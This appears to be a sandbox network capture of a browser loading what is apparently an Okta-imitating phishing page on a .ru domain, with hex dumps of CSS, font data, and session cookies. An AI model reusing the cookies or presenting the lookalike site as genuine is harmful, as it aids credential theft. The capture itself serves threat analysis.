2025-03-17 20:55:14 UTC	10822	IN	Data Raw: 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 36 70 78 20 2d 32 31 33 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 2e 63 68 65 63 6b 65 64 2e 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 2e 63 68 65 63 6b 65 64 2e 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 36 70 78 20 2d 33 31 33 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 74 6f 70 20 2e 6f 2d 66 6f 72 6d 2d 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 74 6f 70 20 2e 6f 2d 66 6f 72 6d 2d Data Ascii: {background-position:-16px -213px}#okta-sign-in .custom-checkbox label.checked.focus,#okta-sign-in .custom-checkbox label.checked.hover{background-position:-16px -313px}#okta-sign-in .o-form-label-top .o-form-input,#okta-sign-in .o-form-label-top .o-form-
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 75 62 74 6c 65 2e 69 6e 66 6f 62 6f 78 2d 74 65 61 63 68 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2e 69 6e 66 6f 62 6f 78 2d 73 75 62 74 6c 65 2e 69 6e 66 6f 62 6f 78 2d 74 69 70 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 38 33 35 61 62 31 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 77 61 72 6e 69 6e 67 20 2e 69 63 6f 6e 2e 70 72 6f 63 65 73 73 69 6e 67 2d 31 36 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 69 6e 64 69 63 61 74 6f 72 73 2f 61 6a 61 78 2d 6c 6f 61 64 65 72 2d 70 72 6f 63 65 73 73 69 6e 67 2d 31 36 2e 67 69 66 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 20 30 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 68 65 Data Ascii: ubtle.infobox-teach:before,#okta-sign-in .infobox.infobox-subtle.infobox-tip:before{background-color:#835ab1}#okta-sign-in .infobox-warning .icon.processing-16{background:url(../img/ui/indicators/ajax-loader-processing-16.gif) no-repeat 0 0 transparent;he
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 66 6f 72 67 6f 74 2d 70 61 73 73 77 6f 72 64 2d 63 61 6c 6c 2d 65 6e 61 62 6c 65 64 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2b 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 66 6f 72 67 6f 74 2d 70 61 73 73 77 6f 72 64 2d 73 6d 73 2d 65 6e 61 62 6c 65 64 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 62 75 74 74 6f 6e 2b 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 7b 6d 61 72 67 69 6e 2d 6c 65 66 Data Ascii: {float:none;margin-bottom:15px;margin-left:0;width:100%}#okta-sign-in .forgot-password-call-enabled .o-form-fieldset-container .button+.button-primary,#okta-sign-in .forgot-password-sms-enabled .o-form-fieldset-container .button+.button-primary{margin-lef
2025-03-17 20:55:14 UTC	16384	IN	Data Raw: 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 62 66 62 66 62 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 69 63 6f 6e 73 2f 6c 6f 67 69 6e 2f 71 75 69 63 6b 62 6f 6f 6b 73 5f 6c 6f 67 6f 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 31 32 70 78 2f 32 34 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 30 64 65 67 2c 23 66 66 66 20 35 30 70 78 2c 23 66 62 66 62 66 62 20 30 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 33 63 33 63 33 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 71 75 69 63 6b 62 6f 6f 6b 73 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 71 75 69 Data Ascii: tton{background-color:#fbfbfb;background:url(../img/icons/login/quickbooks_logo.png) no-repeat 12px/24px,linear-gradient(90deg,#fff 50px,#fbfbfb 0);border:1px solid #c3c3c3}#okta-sign-in .social-auth-quickbooks-button:active,#okta-sign-in .social-auth-qui
2025-03-17 20:55:14 UTC	5214	IN	Data Raw: 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 34 30 30 70 78 29 7b 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 63 61 6c 6c 20 2e 65 6e 72 6f 6c 6c 2d 63 61 6c 6c 2d 65 78 74 65 6e 73 69 6f 6e 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 63 61 6c 6c 20 2e 63 61 6c 6c 2d 72 65 71 75 65 73 74 2d 62 75 74 74 6f 6e 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 75 32 66 20 2e 75 32 66 2d 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6c 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 77 65 62 61 Data Ascii: n and (max-width:400px){#okta-sign-in .enroll-call .enroll-call-extension{margin-bottom:15px;width:100%}}#okta-sign-in .enroll-call .call-request-button{text-align:center;width:100%}#okta-sign-in .enroll-u2f .u2f-instructions ol,#okta-sign-in .enroll-weba

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49745	13.33.187.68	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	659	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:14 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Tue, 11 Mar 2025 10:14:43 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Wed, 11 Mar 2026 10:14:43 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d9636724d333576f23b5fcfb40d7830c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 8DzXYYs8swyUvY2GoMQUGfVzuVbXB_AIIcqHri9PTQWbgpFFiBf1bQ== Age: 556830
2025-03-17 20:55:14 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49746	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:14 UTC	1393	OUT	GET /GDSherpa-vf.woff2 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Origin: https://grupomarina.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:15 UTC	1156	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:15 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="GDSherpa-vf.woff2" Last-Modified: Mon, 17 Mar 2025 20:55:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2BUvfOK2c1i1x0Zd%2FRAJOb%2FPpFvjnE25jTd2TGrBRi8AYGmsY5gkpEN9JD7NVXv%2BAQi%2FNitrcHcSYt32LfsVc54Ful03J74orEcqhX%2BxAizpefB6VjP%2BgazEcHbO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=3180&min_rtt=3160&rtt_var=1225&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2305&delivery_rate=871763&cwnd=251&unsent_bytes=0&cid=b40d3b46a3f0f51f&ts=165&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 921f63dbbe96c34b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&min_rtt=1733&rtt_var=685&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1965&delivery_rate=1684939&cwnd=168&unsent_bytes=0&cid=4fe95251a074fcd0&ts=707&x=0"
2025-03-17 20:55:15 UTC	213	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 62 3c 2c 78 9e 9a 82 8b e1 e3 29 f6 84 63 bf 87 74 85 01 a3 6b 16 0e 86 39 ba 09 6f 1e 54 89 f1 52 39 d1 f2 8a 9e 6b 71 93 de 54 52 25 55 f2 d4 76 a3 f6 f9 a5 72 13 5f 92 92 e2 c3 0a 13 44 ba fc 14 66 b2 84 3d 71 48 da a1 bc c4 38 df 90 3c af 1d 07 78 08 c2 28 56 98 49 b2 68 94 4c 33 2a 23 5d 38 89 e2 09 2d 94 7a 94 9c df 03 ae e5 f7 8f 17 33 91 39 56 c4 93 99 be b4 14 f9 8b 98 1e c3 96 75 bf 15 1a a7 e4 0e ea f3 ed 78 b2 b6 f2 cb fa 53 5f ea 1d ff 5c 31 f0 f2 8c ca 26 36 ed e1 bc bc ff 6a 5e da 03 c4 63 3b 28 29 6d c4 4a 9d f5 c4 17 02 3e af fa aa 97 78 7a b0 ea 59 a2 bf ed 7c c8 37 9e 00 9c e8 05 95 21 9c 6a 77 02 b6 80 2c c9 b6 Data Ascii: m/>8&f&]u&VD]<yReb<,x)ctk9oTR9kqTR%Uvr_Df=qH8<x(VIhL3*#]8-z39VuxS_\1&6j^c;()mJ>xzY\|7!jw,
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: d9 0e 44 66 41 90 c1 c0 1f 61 26 59 35 9d ce fc 85 47 48 9c dc 58 77 25 09 a5 15 5f 9a 11 1f 54 24 c2 22 11 1e 1e ec 77 dd f6 24 8a 23 a4 3e ee be f6 9b 95 04 2c 60 ba e4 bf 52 71 1e dd 2a 54 ea 34 59 ab a2 82 d2 3a 27 10 31 3a 48 2b 34 e8 5e c7 7b bf 7b c8 65 ff 42 cf bd bd ab ef b8 b2 97 ef 69 4a a4 41 10 31 c6 50 bb 1f be 4e e2 cd 9b d1 0b fa 4b 4f a4 c1 39 b1 d6 36 7e db fb f5 cd a9 82 cc dd 47 43 9a 20 e1 12 24 14 22 52 b8 85 38 22 8e a4 7b 76 f7 f3 d9 17 d6 f7 fc fe f9 d7 29 e7 7b 98 f3 bc db 98 3b b6 aa aa a8 aa a8 88 25 a2 ea 3b df 32 94 7c ed 9f f6 6c ef 21 73 f4 4a bb bb 26 84 c1 18 21 1e e6 21 84 0f 9b 2b 82 1a 77 af 35 6c 48 69 09 35 4a 24 75 82 dc 7e f1 b2 cd 6a 29 3d 11 8f 92 dd 10 05 7f bc 6f 86 94 ab 21 28 0f 87 be 27 08 80 be f0 01 b4 00 Data Ascii: DfAa&Y5GHXw%_T$"w$#>,`Rq*T4Y:'1:H+4^{{eBiJA1PNKO96~GC $"R8"{v){;%;2\|l!sJ&!!+w5lHi5J$u~j)=o!('
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 30 01 c5 7f 4b d3 80 08 2e 94 c2 60 c4 f5 1e c7 c1 b8 85 e0 63 f2 fc 21 17 35 5f a4 a7 ad c0 72 cd f9 6e a8 6d 5e 74 02 56 69 66 63 5b 99 97 7c 2c fd 27 61 c8 ae 40 18 e6 df aa 18 25 6e 94 42 80 07 20 2d 08 b1 93 c5 85 92 ca 74 24 c9 29 cb 80 39 2f 50 9a 2f 68 40 1a 7d 11 88 e5 e3 a4 75 80 dc c4 20 d0 83 46 5b 06 ed d9 92 51 34 05 42 e1 1d 06 d4 cc 4f a7 f3 a8 86 14 ca 37 c2 01 b0 1d 64 67 70 c8 e6 3d 82 39 11 ef 09 cd e3 90 81 38 bc 6e d5 36 b0 30 b7 3e 73 33 bc 8a 90 c1 04 4a dc 88 5d 38 67 02 e8 f9 c8 ee e9 ce ef 51 a3 39 c0 26 c4 d8 a7 93 2b e3 36 6f b5 c5 68 7d 8c 94 c3 4b e0 ec cc 9d d2 67 95 c6 4a 2e 43 fd 67 14 df 88 78 3e 8e cb 57 e9 89 c3 1f 96 b3 87 8b 11 33 06 11 34 6b 22 26 55 c5 d6 a2 ea 59 69 82 11 80 6c b8 40 0c 1a 2b 21 c0 34 cb 4f c3 5e Data Ascii: 0K.`c!5_rnm^tVifc[\|,'a@%nB -t$)9/P/h@}u F[Q4BO7dgp=98n60>s3J]8gQ9&+6oh}KgJ.Cgx>W34k"&UYil@+!4O^
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: e2 8f ce 7f 13 bb a1 3d 21 b6 2b 7d ac 76 c8 d7 02 73 06 b5 db d0 49 22 32 49 bf 10 bc a0 d8 9c 34 99 2c 33 d6 72 e1 d2 df 5e 42 a9 8e 7b bd 96 31 a6 4d de a7 62 9b cc 63 9d c6 f1 2f 34 7d 54 e7 b4 4d c7 fa 6c 99 5d 33 da 4c 77 c2 3a 92 a4 64 ed 0b e8 55 62 22 33 fc bb a8 df cf da 1f 54 fe 3f df c2 9f fa 55 eb f3 2f fb 3f 6b 42 80 e6 dc c4 5f d1 c9 e3 66 b4 c7 ea be 1d ac ee 83 8e 1b 6e 8e ad e6 bf 68 8b 30 29 a2 ef ac 6e fe 44 d0 f2 a5 17 56 22 31 26 d0 d2 6d a3 bb 17 9d 73 39 f5 89 d5 38 e0 ef 35 50 6a bd d3 68 98 1c 7f 67 c2 aa e8 a1 96 8b d8 a4 bd 9e 7c 39 3f 4f c8 a7 12 23 ec ed 11 e2 58 6c 9b 9a a1 7a 4c a7 11 3d 93 cb 1a 4c d6 56 ca 7b d7 cc 70 24 8f 19 f8 91 9b ae b0 2b 74 9c 0d c7 6e 45 bd ad 63 20 b9 63 fa 91 b3 d4 3e 10 b3 8c 0f 08 47 58 59 8d Data Ascii: =!+}vsI"2I4,3r^B{1Mbc/4}TMl]3Lw:dUb"3T?U/?kB_fnh0)nDV"1&ms985Pjhg\|9?O#XlzL=LV{p$+tnEc c>GXY
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 13 74 8d a8 cd c7 ac 4b bc db 69 e7 25 31 fc e9 40 8d 94 e5 4d f5 ad 81 68 83 eb e8 05 23 03 df f5 fe 06 36 b5 c7 3a 22 04 d7 4e b9 cf d6 7e 51 66 42 4f af b5 64 c4 77 d5 ac 8b 72 c5 c6 e8 da 2f 45 53 1b 5e 36 bf b9 57 f3 0c 9b a7 79 98 43 e9 85 ab 31 07 50 d2 b9 fc f2 4c 58 6f d0 0e 04 fe 5e 10 f2 a5 62 4a 03 ae f5 23 0e a0 dc 11 5f 81 1e 73 b5 7b 39 53 f6 0e a9 9c 61 b4 08 19 a0 37 a3 b3 d1 64 42 58 af 6d b4 58 b0 25 ed e0 2e 67 1a 38 ca 4f ab 6d c5 9d 35 42 5e 54 6b 53 6a da 0c 6e 36 4d af b5 37 f9 5c b6 40 5b 76 29 54 f2 59 8f 3d f3 a5 86 3a 75 01 84 29 72 e0 63 68 d6 c8 ba 8a 3f d4 d9 56 7c 70 6c 59 66 f4 6d 5c cc 9e a2 13 3d b5 d1 e2 c1 14 a1 a4 bd 58 c0 cd f9 49 38 5d 1b e0 c7 3e 80 db 57 d8 d0 f7 34 d5 e9 e3 ff a0 96 2a 2e ee aa 1c c5 9e 8d 4c 4a Data Ascii: tKi%1@Mh#6:"N~QfBOdwr/ES^6WyC1PLXo^bJ#_s{9Sa7dBXmX%.g8Om5B^TkSjn6M7\@[v)TY=:u)rch?V\|plYfm\=XI8]>W4*.LJ
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: ff 72 06 c6 c0 fa ed 9c 1c 7d f4 0c d2 d3 70 bc 97 db 6f b1 25 df 73 6b 4b 9b 6f 58 85 19 04 fb ee 8a f8 5e bf d7 b7 51 00 f1 b3 57 23 59 2e 77 0d f4 d4 fc 07 b6 eb 05 61 4b 8f 5a 69 5f 3f 47 81 2d dd 92 6b bd 6b 22 2b 98 d4 8f e4 e9 b1 30 e8 a1 ef f4 f7 86 b3 0e 29 d8 19 de e0 eb f9 a7 c6 a9 6c 9d 52 a2 a4 d8 95 ec 1d d9 5a e9 cf 87 7a 12 ff cf f2 c9 76 7e e8 a4 ba b1 b6 d1 ee e0 7a 6f e0 85 92 f6 20 63 59 69 56 e6 b3 2a dd e1 fb 92 29 89 1f d5 9b 49 97 d7 9b e9 9f a6 2b 09 6d e5 0d 86 58 5d fc e5 38 51 16 3b ad f1 91 74 dc 2c 3d 43 ce b0 07 c9 31 8e e0 3d 9f d5 dd 53 e1 45 a4 70 60 88 7d f4 f0 c9 ce e9 3c 80 df d7 78 30 94 d8 36 05 db e0 5a 22 20 14 60 19 dd f7 b3 b4 bd 5f 75 e5 6b a0 e7 ef 7e 7d d8 73 30 10 2c 3f 4a 0d df 7f 51 a7 a1 85 fe 76 4e 9d 30 Data Ascii: r}po%skKoX^QW#Y.waKZi_?G-kk"+0)lRZzv~zo cYiV*)I+mX]8Q;t,=C1=SEp`}<x06Z" `_uk~}s0,?JQvN0
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: e2 7b 95 55 6b 5d 9c cb f6 08 a5 23 7f ed f7 4e 66 a8 e5 0a f9 d5 c5 a9 c7 23 63 4f 93 1d bf 47 04 43 fb 82 87 2a 48 c7 8f d1 c3 39 c5 a6 73 dc 75 9e ee e5 63 68 f7 63 e3 75 2f 53 26 0b a9 87 9d 72 2c d1 e7 f6 b1 d4 a1 7c c2 a2 da 8a 7c 3f b9 20 fe 3a 8d 43 33 1b ab d4 f5 6d 4d c3 e2 dd 36 ee 35 62 69 95 22 f0 46 f8 d9 7a 68 37 a5 a8 21 6e b5 b2 92 5f 40 ab 16 92 96 5b e2 15 6e 46 29 46 b7 00 4f 05 6e b1 9b fa f9 5a cb 80 d9 34 ac 08 96 d6 da 40 6d 7b 3f f8 24 61 96 de 62 e5 00 a4 59 3c a2 bd a6 1e 75 01 cd 9c 00 1f 0d c7 da 08 15 91 3f d2 c4 4f 7f c1 0d 6c 0a 22 cb 59 c2 51 e4 59 52 b4 8c ef 09 b2 25 0c b9 b2 75 36 d6 a1 d6 98 53 0f e7 62 e9 dd f0 9f 66 d4 22 1b 6b 13 ea f6 c1 6d 7d 2a ba 94 7c f6 e9 dd fc 87 22 db 87 d7 e0 12 e6 4a d0 b7 e2 a7 bb 35 45 Data Ascii: {Uk]#Nf#cOGCH9suchcu/S&r,\|\|? :C3mM65bi"Fzh7!n_@[nF)FOnZ4@m{?$abY<u?Ol"YQYR%u6Sbf"km}\|"J5E
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 34 0b c9 ab 60 21 06 9f 15 10 0a 11 56 b6 61 9b a3 60 19 bd 82 2f ef c3 27 94 de ec ac 7c 55 54 c1 6a 83 d9 78 80 42 b4 21 58 23 ee bd fb 0a 3c f6 0f 28 19 2d 72 45 2f 9d 7c c7 ad 83 d8 2f 0d 8f 8c 1e f3 0b 28 e3 21 4d 8f fb ea 20 10 30 08 28 18 b0 44 f7 bf 00 88 20 61 11 d1 62 c4 ba f7 8a 41 c1 e1 43 42 87 c9 3d 6c 7b 81 47 00 38 11 5e 87 bf 23 b8 f0 b5 38 9c ef ea 0c ae 85 bb ad d9 82 3b e8 87 fa ef ed 3d c0 a3 eb 3f 0b b7 80 4d ef 65 b7 82 c3 97 dd 06 3e bc 8c 32 b8 6e 01 00 00 00 0d 47 0c ca 60 3c 20 d5 88 13 d9 02 c9 08 14 13 80 6e 8b 60 31 74 c6 dc 8c db d7 e9 d4 6a dc 38 9e 1a bf 1e 5f 00 01 05 55 88 89 bf ca 0c 2c 3a b7 0d 0a 83 0a d2 de 02 4a df 91 b3 2b 6d b3 43 b5 a5 48 08 52 40 cb a8 7f 90 13 46 b7 a0 cc 41 5a ff 9e 89 be 8c b4 05 1a d8 6c 4e Data Ascii: 4`!Va`/'\|UTjxB!X#<(-rE/\|/(!M 0(D abACB=l{G8^#8;=?Me>2nG`< n`1tj8_U,:J+mCHR@FAZlN
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 3a f0 a8 7c e2 2f 37 5c 00 8e a5 ab fe c8 4d 7e f8 24 cc da 65 7a 3b ea 60 78 86 ff b3 c6 4f 36 07 f0 1a 51 20 a0 99 2b b4 a0 13 bd 18 20 6b 45 56 76 cd d7 7a ed d7 c7 ba aa 3b b1 b4 64 a3 7a aa 0f 66 70 46 7f 21 15 af 12 d9 74 5e ed 72 69 d8 84 35 5b ae ba 2b fa 7d 68 88 d0 99 2c 36 2d b4 e3 a4 1b 8f 95 8e bb 7f 97 86 e2 ba 5c 5f 5c df 69 51 46 4e 6c 02 f0 b1 d8 e7 2b 8e a3 a9 3f be b2 11 27 f6 00 43 55 69 d3 a5 df 48 6c 3e eb b5 05 1b 3e ba b4 16 0c 1b 33 6e 8c b6 ef fe ea b0 51 5b 67 5b ed 66 bb c5 76 da fd f6 d8 d0 81 a1 a3 43 33 b6 8e 1c 8d 18 91 60 24 d2 66 95 22 dd f3 ef ac 3b 07 1e e5 27 52 13 68 c6 e2 f5 de f1 3b 8f f0 81 ef 71 fe f1 fd 49 ba 7e 09 cf 1d a4 7f fa e7 21 f4 b6 ef 13 3a 82 ff 4c fc 0f 8e df 4c fc 77 bc e8 8d 3f ec d3 17 d9 de 8d b4 Data Ascii: :\|/7\M~$ez;`xO6Q + 